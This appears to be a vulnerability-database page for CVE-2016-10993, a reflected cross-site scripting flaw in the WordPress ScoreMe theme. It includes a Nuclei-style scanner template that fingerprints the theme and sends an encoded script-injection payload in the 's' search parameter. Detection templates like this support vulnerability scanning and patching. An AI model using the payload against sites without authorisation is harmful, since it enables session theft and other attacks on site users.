CVE-2016-10993: ScoreMe Theme - Cross-Site Scripting

2025-08-01 ScoreMe Theme PoC Public

Description

WordPress ScoreMe theme through 2016-04-01 contains a reflected cross-site scripting vulnerability via the s parameter which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2016-10993

info:
  name: ScoreMe Theme - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress ScoreMe theme through 2016-04-01 contains a reflected cross-site scripting vulnerability via the s parameter which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.vulnerability-lab.com/get_content.php?id=1808
    - https://wpvulndb.com/vulnerabilities/8431
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10993
    - https://github.com/0xkucing/CVE-2016-10993
    - https://github.com/ARPSyndicate/cvemon
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update to the ScoreMe Theme to fix the XSS vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2016-10993
    cwe-id: CWE-79
    cpe: cpe:2.3:a:scoreme_project:scoreme:*:*:*:*:*:wordpress:*:*
    epss-score: 0.02796
    epss-percentile: 0.85735
  metadata:
    framework: wordpress
    max-request: 2
    vendor: "scoreme_project"
    product: scoreme
  tags: cve2016,cve,wordpress,wp-theme,xss,scoreme_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/scoreme/style'

  - method: GET
    path:
      - "{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205b61e3ae4d557661c334365e1510d92da50bfb1cd0dbeced7bb75d558f3ee066022100bfd6d30d512cb53ca6e47425d8b28988e8be73781f86535825572b5655e328d8:922c64590222798bb761d5b6d8e72950

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